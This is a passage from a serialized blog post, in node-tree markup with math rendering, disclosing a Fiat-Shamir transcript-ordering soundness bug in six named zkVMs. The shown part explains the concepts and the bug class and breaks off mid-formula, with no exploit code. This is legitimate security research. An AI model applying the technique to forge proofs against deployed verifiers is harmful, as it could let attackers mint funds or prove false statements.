Flow",[109143,109144],{"id":103775,"depth":1560,"text":103778},{"id":103960,"depth":1560,"text":103963},{"id":104203,"depth":1545,"text":104209},{"id":105803,"depth":1545,"text":105809,"children":109147},[109148,109149],{"id":105863,"depth":1560,"text":105866},{"id":105923,"depth":1560,"text":105926},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109154,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109155,"description":109156,"date":109157,"author":109158,"image":109161,"isFeatured":17,"onBlogPage":17,"tags":109163,"body":109165,"_type":4157,"_id":124949,"_source":4159,"_file":124950,"_stem":124951,"_extension":4162},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109159,109160],"himanshu","valter",{"src":109162,"width":98589,"height":14922},"/posts/zkvms-unfaithful-claims/title.png",[109164],"zkVM",{"type":19,"children":109166,"toc":124913},[109167,109172,109214,109227,109230,109236,109241,109369,109372,109378,109384,109389,109421,109569,109574,109697,109708,109719,109742,109753,109758,109791,109799,109804,109807,109813,109818,109824,109829,109834,109842,109860,110001,110006,110012,110105,110838,110906,110917,110925,111399,111405,111844,112184,112337,112342,113230,113386,113392,113484,113489,114070,114520,114596,114602,114607,114676,114686,114702,114712,114773,115185,115217,115227,115402,115407,115417,116016,116204,116222,116225,116231,116236,116244,116276,116636,116641,116726,116729,116735,116743,116748,116751,116757,116762,116770,116778,116786,116794,116827,116835,116843,116934,117185,117512,117520,117550,117719,118045,118050,118055,118072,118075,118080,118085,118097,118109,118700,118712,118724,118731,118739,118751,118759,118774,118779,119059,119078,119173,119192,119208,119211,119217,119222,119227,119234,119242,119249,119257,119270,119288,119748,119850,119855,119860,119876,119879,119885,119890,119902,119913,119918,120308,120315,120323,120348,120368,120624,120635,120654,121038,121384,121614,121773,121933,122501,122506,122532,122535,122541,122546,122553,122561,122574,122646,122657,122665,122675,122683,122694,122968,123057,123086,123089,123094,123228,123240,123247,123252,123405,123431,123438,123446,123451,123517,123522,123912,123999,124015,124018,124024,124029,124035,124135,124194,124199,124205,124210,124218,124223,124229,124234,124239,124245,124250,124253,124259,124265,124270,124275,124280,124285,124290,124293,124299,124457,124462,124465,124470,124481,124798,124803,124827,124832,124850,124855,124858,124864,124869,124874,124884,124889,124899,124909],{"type":22,"tag":23,"props":109168,"children":109169},{},[109170],{"type":27,"value":109171},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":22,"tag":23,"props":109173,"children":109174},{},[109175,109177,109182,109183,109188,109189,109194,109195,109200,109201,109206,109207,109212],{"type":27,"value":109176},"We found six systems where this faithfulness breaks. Across ",{"type":22,"tag":242,"props":109178,"children":109179},{},[109180],{"type":27,"value":109181},"Jolt",{"type":27,"value":4380},{"type":22,"tag":242,"props":109184,"children":109185},{},[109186],{"type":27,"value":109187},"Nexus",{"type":27,"value":4380},{"type":22,"tag":242,"props":109190,"children":109191},{},[109192],{"type":27,"value":109193},"Cairo-M",{"type":27,"value":4380},{"type":22,"tag":242,"props":109196,"children":109197},{},[109198],{"type":27,"value":109199},"Ceno",{"type":27,"value":4380},{"type":22,"tag":242,"props":109202,"children":109203},{},[109204],{"type":27,"value":109205},"Expander",{"type":27,"value":7780},{"type":22,"tag":242,"props":109208,"children":109209},{},[109210],{"type":27,"value":109211},"Binius64",{"type":27,"value":109213},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":22,"tag":23,"props":109215,"children":109216},{},[109217,109219,109225],{"type":27,"value":109218},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":22,"tag":69,"props":109220,"children":109222},{"href":109221},"#challenges",[109223],{"type":27,"value":109224},"Challenges",{"type":27,"value":109226}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":22,"tag":20097,"props":109228,"children":109229},{},[],{"type":22,"tag":169,"props":109231,"children":109233},{"id":109232},"jargon-cheat-sheet",[109234],{"type":27,"value":109235},"Jargon Cheat Sheet",{"type":22,"tag":23,"props":109237,"children":109238},{},[109239],{"type":27,"value":109240},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":22,"tag":17988,"props":109242,"children":109243},{},[109244,109254,109264,109274,109284,109294,109304,109314,109324,109334,109344,109354],{"type":22,"tag":1871,"props":109245,"children":109246},{},[109247,109252],{"type":22,"tag":242,"props":109248,"children":109249},{},[109250],{"type":27,"value":109251},"Fiat-Shamir",{"type":27,"value":109253},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":22,"tag":1871,"props":109255,"children":109256},{},[109257,109262],{"type":22,"tag":242,"props":109258,"children":109259},{},[109260],{"type":27,"value":109261},"Transcript",{"type":27,"value":109263},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":22,"tag":1871,"props":109265,"children":109266},{},[109267,109272],{"type":22,"tag":242,"props":109268,"children":109269},{},[109270],{"type":27,"value":109271},"Polynomial Commitment",{"type":27,"value":109273},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":22,"tag":1871,"props":109275,"children":109276},{},[109277,109282],{"type":22,"tag":242,"props":109278,"children":109279},{},[109280],{"type":27,"value":109281},"Sumcheck",{"type":27,"value":109283},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":22,"tag":1871,"props":109285,"children":109286},{},[109287,109292],{"type":22,"tag":242,"props":109288,"children":109289},{},[109290],{"type":27,"value":109291},"MLE (Multilinear Extension)",{"type":27,"value":109293},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":22,"tag":1871,"props":109295,"children":109296},{},[109297,109302],{"type":22,"tag":242,"props":109298,"children":109299},{},[109300],{"type":27,"value":109301},"Lookup / LogUp",{"type":27,"value":109303},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":22,"tag":1871,"props":109305,"children":109306},{},[109307,109312],{"type":22,"tag":242,"props":109308,"children":109309},{},[109310],{"type":27,"value":109311},"AIR",{"type":27,"value":109313},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":22,"tag":1871,"props":109315,"children":109316},{},[109317,109322],{"type":22,"tag":242,"props":109318,"children":109319},{},[109320],{"type":27,"value":109321},"STARK",{"type":27,"value":109323},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":22,"tag":1871,"props":109325,"children":109326},{},[109327,109332],{"type":22,"tag":242,"props":109328,"children":109329},{},[109330],{"type":27,"value":109331},"FRI",{"type":27,"value":109333},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":22,"tag":1871,"props":109335,"children":109336},{},[109337,109342],{"type":22,"tag":242,"props":109338,"children":109339},{},[109340],{"type":27,"value":109341},"OODS",{"type":27,"value":109343},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":22,"tag":1871,"props":109345,"children":109346},{},[109347,109352],{"type":22,"tag":242,"props":109348,"children":109349},{},[109350],{"type":27,"value":109351},"GKR",{"type":27,"value":109353},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":22,"tag":1871,"props":109355,"children":109356},{},[109357,109362,109364],{"type":22,"tag":242,"props":109358,"children":109359},{},[109360],{"type":27,"value":109361},"claimed_sum / opening_claim",{"type":27,"value":109363},": Prover-supplied values that feed into verification equations. ",{"type":22,"tag":242,"props":109365,"children":109366},{},[109367],{"type":27,"value":109368},"These are the usual suspects for binding bugs.",{"type":22,"tag":20097,"props":109370,"children":109371},{},[],{"type":22,"tag":169,"props":109373,"children":109375},{"id":109374},"what-are-we-even-breaking",[109376],{"type":27,"value":109377},"What Are We Even Breaking?",{"type":22,"tag":181,"props":109379,"children":109381},{"id":109380},"what-is-a-zkvm",[109382],{"type":27,"value":109383},"What is a zkVM?",{"type":22,"tag":23,"props":109385,"children":109386},{},[109387],{"type":27,"value":109388},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":22,"tag":23,"props":109390,"children":109391},{},[109392,109394,109419],{"type":27,"value":109393},"Formally, the verifier is convinced that there exists a valid trace ",{"type":22,"tag":257,"props":109395,"children":109397},{"className":109396},[260,261],[109398],{"type":22,"tag":264,"props":109399,"children":109401},{"className":109400},[267],[109402],{"type":22,"tag":264,"props":109403,"children":109405},{"className":109404,"ariaHidden":273},[272],[109406],{"type":22,"tag":264,"props":109407,"children":109409},{"className":109408},[278],[109410,109414],{"type":22,"tag":264,"props":109411,"children":109413},{"className":109412,"style":441},[283],[],{"type":22,"tag":264,"props":109415,"children":109417},{"className":109416,"style":22894},[289,2178],[109418],{"type":27,"value":7279},{"type":27,"value":109420}," such that:",{"type":22,"tag":23,"props":109422,"children":109423},{},[109424],{"type":22,"tag":257,"props":109425,"children":109427},{"className":109426},[260,261],[109428],{"type":22,"tag":264,"props":109429,"children":109431},{"className":109430},[267],[109432],{"type":22,"tag":264,"props":109433,"children":109435},{"className":109434,"ariaHidden":273},[272],[109436,109480,109555],{"type":22,"tag":264,"props":109437,"children":109439},{"className":109438},[278],[109440,109444,109450,109454,109459,109463,109467,109472,109476],{"type":22,"tag":264,"props":109441,"children":109443},{"className":109442,"style":94285},[283],[],{"type":22,"tag":264,"props":109445,"children":109447},{"className":109446},[289],[109448],{"type":27,"value":109449},"∃",{"type":22,"tag":264,"props":109451,"children":109453},{"className":109452,"style":421},[420],[],{"type":22,"tag":264,"props":109455,"children":109457},{"className":109456,"style":22894},[289,2178],[109458],{"type":27,"value":7279},{"type":22,"tag":264,"props":109460,"children":109462},{"className":109461,"style":421},[420],[],{"type":22,"tag":264,"props":109464,"children":109466},{"className":109465,"style":421},[420],[],{"type":22,"tag":264,"props":109468,"children":109470},{"className":109469},[426],[109471],{"type":27,"value":5785},{"type":22,"tag":264,"props":109473,"children":109475},{"className":109474,"style":421},[420],[],{"type":22,"tag":264,"props":109477,"children":109479},{"className":109478,"style":421},[420],[],{"type":22,"tag":264,"props":109481,"children":109483},{"className":109482},[278],[109484,109488,109499,109504,109509,109514,109518,109523,109528,109532,109537,109542,109546,109551],{"type":22,"tag":264,"props":109485,"children":109487},{"className":109486,"style":5409},[283],[],{"type":22,"tag":264,"props":109489,"children":109491},{"className":109490},[289],[109492],{"type":22,"tag":264,"props":109493,"children":109496},{"className":109494},[289,109495],"mathsf",[109497],{"type":27,"value":109498},"VM",{"type":22,"tag":264,"props":109500,"children":109502},{"className":109501},[294],[109503],{"type":27,"value":2660},{"type":22,"tag":264,"props":109505,"children":109507},{"className":109506,"style":22894},[289,2178],[109508],{"type":27,"value":22897},{"type":22,"tag":264,"props":109510,"children":109512},{"className":109511},[5420],[109513],{"type":27,"value":5423},{"type":22,"tag":264,"props":109515,"children":109517},{"className":109516,"style":5427},[420],[],{"type":22,"tag":264,"props":109519,"children":109521},{"className":109520,"style":96388},[289,2178],[109522],{"type":27,"value":7425},{"type":22,"tag":264,"props":109524,"children":109526},{"className":109525},[5420],[109527],{"type":27,"value":5423},{"type":22,"tag":264,"props":109529,"children":109531},{"className":109530,"style":5427},[420],[],{"type":22,"tag":264,"props":109533,"children":109535},{"className":109534,"style":22894},[289,2178],[109536],{"type":27,"value":7279},{"type":22,"tag":264,"props":109538,"children":109540},{"className":109539},[415],[109541],{"type":27,"value":2806},{"type":22,"tag":264,"props":109543,"children":109545},{"className":109544,"style":421},[420],[],{"type":22,"tag":264,"props":109547,"children":109549},{"className":109548},[426],[109550],{"type":27,"value":23634},{"type":22,"tag":264,"props":109552,"children":109554},{"className":109553,"style":421},[420],[],{"type":22,"tag":264,"props":109556,"children":109558},{"className":109557},[278],[109559,109563],{"type":22,"tag":264,"props":109560,"children":109562},{"className":109561,"style":441},[283],[],{"type":22,"tag":264,"props":109564,"children":109567},{"className":109565,"style":109566},[289,2178],"margin-right:0.22222em;",[109568],{"type":27,"value":7455},{"type":22,"tag":23,"props":109570,"children":109571},{},[109572],{"type":27,"value":109573},"where:",{"type":22,"tag":17988,"props":109575,"children":109576},{},[109577,109607,109637,109667],{"type":22,"tag":1871,"props":109578,"children":109579},{},[109580,109605],{"type":22,"tag":257,"props":109581,"children":109583},{"className":109582},[260,261],[109584],{"type":22,"tag":264,"props":109585,"children":109587},{"className":109586},[267],[109588],{"type":22,"tag":264,"props":109589,"children":109591},{"className":109590,"ariaHidden":273},[272],[109592],{"type":22,"tag":264,"props":109593,"children":109595},{"className":109594},[278],[109596,109600],{"type":22,"tag":264,"props":109597,"children":109599},{"className":109598,"style":441},[283],[],{"type":22,"tag":264,"props":109601,"children":109603},{"className":109602,"style":22894},[289,2178],[109604],{"type":27,"value":22897},{"type":27,"value":109606}," = program/circuit description (public)",{"type":22,"tag":1871,"props":109608,"children":109609},{},[109610,109635],{"type":22,"tag":257,"props":109611,"children":109613},{"className":109612},[260,261],[109614],{"type":22,"tag":264,"props":109615,"children":109617},{"className":109616},[267],[109618],{"type":22,"tag":264,"props":109619,"children":109621},{"className":109620,"ariaHidden":273},[272],[109622],{"type":22,"tag":264,"props":109623,"children":109625},{"className":109624},[278],[109626,109630],{"type":22,"tag":264,"props":109627,"children":109629},{"className":109628,"style":441},[283],[],{"type":22,"tag":264,"props":109631,"children":109633},{"className":109632,"style":96388},[289,2178],[109634],{"type":27,"value":7425},{"type":27,"value":109636}," = public input",{"type":22,"tag":1871,"props":109638,"children":109639},{},[109640,109665],{"type":22,"tag":257,"props":109641,"children":109643},{"className":109642},[260,261],[109644],{"type":22,"tag":264,"props":109645,"children":109647},{"className":109646},[267],[109648],{"type":22,"tag":264,"props":109649,"children":109651},{"className":109650,"ariaHidden":273},[272],[109652],{"type":22,"tag":264,"props":109653,"children":109655},{"className":109654},[278],[109656,109660],{"type":22,"tag":264,"props":109657,"children":109659},{"className":109658,"style":441},[283],[],{"type":22,"tag":264,"props":109661,"children":109663},{"className":109662,"style":109566},[289,2178],[109664],{"type":27,"value":7455},{"type":27,"value":109666}," = claimed public output",{"type":22,"tag":1871,"props":109668,"children":109669},{},[109670,109695],{"type":22,"tag":257,"props":109671,"children":109673},{"className":109672},[260,261],[109674],{"type":22,"tag":264,"props":109675,"children":109677},{"className":109676},[267],[109678],{"type":22,"tag":264,"props":109679,"children":109681},{"className":109680,"ariaHidden":273},[272],[109682],{"type":22,"tag":264,"props":109683,"children":109685},{"className":109684},[278],[109686,109690],{"type":22,"tag":264,"props":109687,"children":109689},{"className":109688,"style":441},[283],[],{"type":22,"tag":264,"props":109691,"children":109693},{"className":109692,"style":22894},[289,2178],[109694],{"type":27,"value":7279},{"type":27,"value":109696}," = private witness/trace (registers, memory history, intermediate values)",{"type":22,"tag":23,"props":109698,"children":109699},{},[109700,109702,109706],{"type":27,"value":109701},"The verifier does ",{"type":22,"tag":242,"props":109703,"children":109704},{},[109705],{"type":27,"value":19792},{"type":27,"value":109707}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":22,"tag":23,"props":109709,"children":109710},{},[109711,109713,109718],{"type":27,"value":109712},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":22,"tag":242,"props":109714,"children":109715},{},[109716],{"type":27,"value":109717},"soundness",{"type":27,"value":5785},{"type":22,"tag":17988,"props":109720,"children":109721},{},[109722,109732],{"type":22,"tag":1871,"props":109723,"children":109724},{},[109725,109730],{"type":22,"tag":242,"props":109726,"children":109727},{},[109728],{"type":27,"value":109729},"Completeness",{"type":27,"value":109731},": honest execution verifies.",{"type":22,"tag":1871,"props":109733,"children":109734},{},[109735,109740],{"type":22,"tag":242,"props":109736,"children":109737},{},[109738],{"type":27,"value":109739},"Soundness",{"type":27,"value":109741},": false execution should not verify.",{"type":22,"tag":23,"props":109743,"children":109744},{},[109745,109747,109751],{"type":27,"value":109746},"We are breaking ",{"type":22,"tag":242,"props":109748,"children":109749},{},[109750],{"type":27,"value":109717},{"type":27,"value":109752}," in all six systems.",{"type":22,"tag":23,"props":109754,"children":109755},{},[109756],{"type":27,"value":109757},"In all six codebases, verification follows this abstract flow:",{"type":22,"tag":1867,"props":109759,"children":109760},{},[109761,109766,109771,109776,109781,109786],{"type":22,"tag":1871,"props":109762,"children":109763},{},[109764],{"type":27,"value":109765},"Fix public statement data.",{"type":22,"tag":1871,"props":109767,"children":109768},{},[109769],{"type":27,"value":109770},"Parse proof payload (commitments, reduction messages, openings).",{"type":22,"tag":1871,"props":109772,"children":109773},{},[109774],{"type":27,"value":109775},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":22,"tag":1871,"props":109777,"children":109778},{},[109779],{"type":27,"value":109780},"Check constraint equations at sampled points.",{"type":22,"tag":1871,"props":109782,"children":109783},{},[109784],{"type":27,"value":109785},"Check PCS/opening consistency.",{"type":22,"tag":1871,"props":109787,"children":109788},{},[109789],{"type":27,"value":109790},"Accept only if all checks are jointly consistent.",{"type":22,"tag":23,"props":109792,"children":109793},{},[109794],{"type":22,"tag":215,"props":109795,"children":109798},{"alt":109796,"src":109797},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":22,"tag":23,"props":109800,"children":109801},{},[109802],{"type":27,"value":109803},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":22,"tag":20097,"props":109805,"children":109806},{},[],{"type":22,"tag":169,"props":109808,"children":109810},{"id":109809},"the-building-blocks",[109811],{"type":27,"value":109812},"The Building Blocks",{"type":22,"tag":23,"props":109814,"children":109815},{},[109816],{"type":27,"value":109817},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":22,"tag":181,"props":109819,"children":109821},{"id":109820},"the-fiat-shamir-transform",[109822],{"type":27,"value":109823},"The Fiat-Shamir Transform",{"type":22,"tag":23,"props":109825,"children":109826},{},[109827],{"type":27,"value":109828},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":22,"tag":23,"props":109830,"children":109831},{},[109832],{"type":27,"value":109833},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":22,"tag":23,"props":109835,"children":109836},{},[109837],{"type":22,"tag":215,"props":109838,"children":109841},{"alt":109839,"src":109840},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":22,"tag":23,"props":109843,"children":109844},{},[109845,109847,109851,109853,109858],{"type":27,"value":109846},"The hash (transcript) ",{"type":22,"tag":242,"props":109848,"children":109849},{},[109850],{"type":27,"value":7812},{"type":27,"value":109852}," include everything that affects verification ",{"type":22,"tag":242,"props":109854,"children":109855},{},[109856],{"type":27,"value":109857},"BEFORE",{"type":27,"value":109859}," the challenges derived from it are used.",{"type":22,"tag":23,"props":109861,"children":109862},{},[109863,109865,109891,109893,109918,109920,109945,109947,109972,109974,109999],{"type":27,"value":109864},"If some value ",{"type":22,"tag":257,"props":109866,"children":109868},{"className":109867},[260,261],[109869],{"type":22,"tag":264,"props":109870,"children":109872},{"className":109871},[267],[109873],{"type":22,"tag":264,"props":109874,"children":109876},{"className":109875,"ariaHidden":273},[272],[109877],{"type":22,"tag":264,"props":109878,"children":109880},{"className":109879},[278],[109881,109885],{"type":22,"tag":264,"props":109882,"children":109884},{"className":109883,"style":441},[283],[],{"type":22,"tag":264,"props":109886,"children":109888},{"className":109887,"style":109566},[289,2178],[109889],{"type":27,"value":109890},"V",{"type":27,"value":109892}," affects a verification equation, but ",{"type":22,"tag":257,"props":109894,"children":109896},{"className":109895},[260,261],[109897],{"type":22,"tag":264,"props":109898,"children":109900},{"className":109899},[267],[109901],{"type":22,"tag":264,"props":109902,"children":109904},{"className":109903,"ariaHidden":273},[272],[109905],{"type":22,"tag":264,"props":109906,"children":109908},{"className":109907},[278],[109909,109913],{"type":22,"tag":264,"props":109910,"children":109912},{"className":109911,"style":441},[283],[],{"type":22,"tag":264,"props":109914,"children":109916},{"className":109915,"style":109566},[289,2178],[109917],{"type":27,"value":109890},{"type":27,"value":109919}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":22,"tag":257,"props":109921,"children":109923},{"className":109922},[260,261],[109924],{"type":22,"tag":264,"props":109925,"children":109927},{"className":109926},[267],[109928],{"type":22,"tag":264,"props":109929,"children":109931},{"className":109930,"ariaHidden":273},[272],[109932],{"type":22,"tag":264,"props":109933,"children":109935},{"className":109934},[278],[109936,109940],{"type":22,"tag":264,"props":109937,"children":109939},{"className":109938,"style":441},[283],[],{"type":22,"tag":264,"props":109941,"children":109943},{"className":109942,"style":109566},[289,2178],[109944],{"type":27,"value":109890},{"type":27,"value":109946},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":22,"tag":257,"props":109948,"children":109950},{"className":109949},[260,261],[109951],{"type":22,"tag":264,"props":109952,"children":109954},{"className":109953},[267],[109955],{"type":22,"tag":264,"props":109956,"children":109958},{"className":109957,"ariaHidden":273},[272],[109959],{"type":22,"tag":264,"props":109960,"children":109962},{"className":109961},[278],[109963,109967],{"type":22,"tag":264,"props":109964,"children":109966},{"className":109965,"style":441},[283],[],{"type":22,"tag":264,"props":109968,"children":109970},{"className":109969,"style":109566},[289,2178],[109971],{"type":27,"value":109890},{"type":27,"value":109973},", which may allow it to choose ",{"type":22,"tag":257,"props":109975,"children":109977},{"className":109976},[260,261],[109978],{"type":22,"tag":264,"props":109979,"children":109981},{"className":109980},[267],[109982],{"type":22,"tag":264,"props":109983,"children":109985},{"className":109984,"ariaHidden":273},[272],[109986],{"type":22,"tag":264,"props":109987,"children":109989},{"className":109988},[278],[109990,109994],{"type":22,"tag":264,"props":109991,"children":109993},{"className":109992,"style":441},[283],[],{"type":22,"tag":264,"props":109995,"children":109997},{"className":109996,"style":109566},[289,2178],[109998],{"type":27,"value":109890},{"type":27,"value":110000}," exactly so that the verification passes, even though it should not.",{"type":22,"tag":23,"props":110002,"children":110003},{},[110004],{"type":27,"value":110005},"This is the bug class we found in all six systems.",{"type":22,"tag":181,"props":110007,"children":110009},{"id":110008},"the-sumcheck-protocol",[110010],{"type":27,"value":110011},"The Sumcheck Protocol",{"type":22,"tag":23,"props":110013,"children":110014},{},[110015,110017,110103],{"type":27,"value":110016},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":22,"tag":257,"props":110018,"children":110020},{"className":110019},[260,261],[110021],{"type":22,"tag":264,"props":110022,"children":110024},{"className":110023},[267],[110025],{"type":22,"tag":264,"props":110026,"children":110028},{"className":110027,"ariaHidden":273},[272],[110029],{"type":22,"tag":264,"props":110030,"children":110032},{"className":110031},[278],[110033,110037,110042,110047,110052,110056,110061],{"type":22,"tag":264,"props":110034,"children":110036},{"className":110035,"style":5409},[283],[],{"type":22,"tag":264,"props":110038,"children":110040},{"className":110039},[294],[110041],{"type":27,"value":77944},{"type":22,"tag":264,"props":110043,"children":110045},{"className":110044},[289],[110046],{"type":27,"value":5334},{"type":22,"tag":264,"props":110048,"children":110050},{"className":110049},[5420],[110051],{"type":27,"value":5423},{"type":22,"tag":264,"props":110053,"children":110055},{"className":110054,"style":5427},[420],[],{"type":22,"tag":264,"props":110057,"children":110059},{"className":110058},[289],[110060],{"type":27,"value":602},{"type":22,"tag":264,"props":110062,"children":110064},{"className":110063},[415],[110065,110070],{"type":22,"tag":264,"props":110066,"children":110068},{"className":110067},[415],[110069],{"type":27,"value":35455},{"type":22,"tag":264,"props":110071,"children":110073},{"className":110072},[2147],[110074],{"type":22,"tag":264,"props":110075,"children":110077},{"className":110076},[305],[110078],{"type":22,"tag":264,"props":110079,"children":110081},{"className":110080},[311],[110082],{"type":22,"tag":264,"props":110083,"children":110086},{"className":110084,"style":110085},[316],"height:0.6644em;",[110087],{"type":22,"tag":264,"props":110088,"children":110089},{"style":5353},[110090,110094],{"type":22,"tag":264,"props":110091,"children":110093},{"className":110092,"style":2169},[326],[],{"type":22,"tag":264,"props":110095,"children":110097},{"className":110096},[332,333,334,335],[110098],{"type":22,"tag":264,"props":110099,"children":110101},{"className":110100},[289,2178,335],[110102],{"type":27,"value":57724},{"type":27,"value":110104},"), i.e the claim:",{"type":22,"tag":23,"props":110106,"children":110107},{},[110108],{"type":22,"tag":257,"props":110109,"children":110111},{"className":110110},[260,261],[110112],{"type":22,"tag":264,"props":110113,"children":110115},{"className":110114},[267],[110116],{"type":22,"tag":264,"props":110117,"children":110119},{"className":110118,"ariaHidden":273},[272],[110120,110146],{"type":22,"tag":264,"props":110121,"children":110123},{"className":110122},[278],[110124,110128,110133,110137,110142],{"type":22,"tag":264,"props":110125,"children":110127},{"className":110126,"style":441},[283],[],{"type":22,"tag":264,"props":110129,"children":110131},{"className":110130,"style":94603},[289,2178],[110132],{"type":27,"value":94606},{"type":22,"tag":264,"props":110134,"children":110136},{"className":110135,"style":421},[420],[],{"type":22,"tag":264,"props":110138,"children":110140},{"className":110139},[426],[110141],{"type":27,"value":429},{"type":22,"tag":264,"props":110143,"children":110145},{"className":110144,"style":421},[420],[],{"type":22,"tag":264,"props":110147,"children":110149},{"className":110148},[278],[110150,110154,110304,110308,110451,110455,110462,110466,110610,110614,110620,110625,110682,110687,110691,110748,110753,110757,110763,110767,110772,110776,110833],{"type":22,"tag":264,"props":110151,"children":110153},{"className":110152,"style":22924},[283],[],{"type":22,"tag":264,"props":110155,"children":110157},{"className":110156},[22929],[110158,110164],{"type":22,"tag":264,"props":110159,"children":110161},{"className":110160,"style":22936},[22929,22934,22935],[110162],{"type":27,"value":110163},"∑",{"type":22,"tag":264,"props":110165,"children":110167},{"className":110166},[2147],[110168],{"type":22,"tag":264,"props":110169,"children":110171},{"className":110170},[305,306],[110172,110293],{"type":22,"tag":264,"props":110173,"children":110175},{"className":110174},[311],[110176,110288],{"type":22,"tag":264,"props":110177,"children":110179},{"className":110178,"style":22955},[316],[110180],{"type":22,"tag":264,"props":110181,"children":110182},{"style":22959},[110183,110187],{"type":22,"tag":264,"props":110184,"children":110186},{"className":110185,"style":2169},[326],[],{"type":22,"tag":264,"props":110188,"children":110190},{"className":110189},[332,333,334,335],[110191],{"type":22,"tag":264,"props":110192,"children":110194},{"className":110193},[289,335],[110195,110258,110263,110268,110273,110278,110283],{"type":22,"tag":264,"props":110196,"children":110198},{"className":110197},[289,335],[110199,110204],{"type":22,"tag":264,"props":110200,"children":110202},{"className":110201},[289,2178,335],[110203],{"type":27,"value":20581},{"type":22,"tag":264,"props":110205,"children":110207},{"className":110206},[2147],[110208],{"type":22,"tag":264,"props":110209,"children":110211},{"className":110210},[305,306],[110212,110246],{"type":22,"tag":264,"props":110213,"children":110215},{"className":110214},[311],[110216,110241],{"type":22,"tag":264,"props":110217,"children":110220},{"className":110218,"style":110219},[316],"height:0.3173em;",[110221],{"type":22,"tag":264,"props":110222,"children":110224},{"style":110223},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110225,110230],{"type":22,"tag":264,"props":110226,"children":110229},{"className":110227,"style":110228},[326],"height:2.5em;",[],{"type":22,"tag":264,"props":110231,"children":110235},{"className":110232},[332,110233,110234,335],"reset-size3","size1",[110236],{"type":22,"tag":264,"props":110237,"children":110239},{"className":110238},[289,335],[110240],{"type":27,"value":602},{"type":22,"tag":264,"props":110242,"children":110244},{"className":110243},[396],[110245],{"type":27,"value":399},{"type":22,"tag":264,"props":110247,"children":110249},{"className":110248},[311],[110250],{"type":22,"tag":264,"props":110251,"children":110254},{"className":110252,"style":110253},[316],"height:0.143em;",[110255],{"type":22,"tag":264,"props":110256,"children":110257},{},[],{"type":22,"tag":264,"props":110259,"children":110261},{"className":110260},[426,335],[110262],{"type":27,"value":22999},{"type":22,"tag":264,"props":110264,"children":110266},{"className":110265},[294,335],[110267],{"type":27,"value":77944},{"type":22,"tag":264,"props":110269,"children":110271},{"className":110270},[289,335],[110272],{"type":27,"value":5334},{"type":22,"tag":264,"props":110274,"children":110276},{"className":110275},[5420,335],[110277],{"type":27,"value":5423},{"type":22,"tag":264,"props":110279,"children":110281},{"className":110280},[289,335],[110282],{"type":27,"value":602},{"type":22,"tag":264,"props":110284,"children":110286},{"className":110285},[415,335],[110287],{"type":27,"value":35455},{"type":22,"tag":264,"props":110289,"children":110291},{"className":110290},[396],[110292],{"type":27,"value":399},{"type":22,"tag":264,"props":110294,"children":110296},{"className":110295},[311],[110297],{"type":22,"tag":264,"props":110298,"children":110300},{"className":110299,"style":23056},[316],[110301],{"type":22,"tag":264,"props":110302,"children":110303},{},[],{"type":22,"tag":264,"props":110305,"children":110307},{"className":110306,"style":5427},[420],[],{"type":22,"tag":264,"props":110309,"children":110311},{"className":110310},[22929],[110312,110317]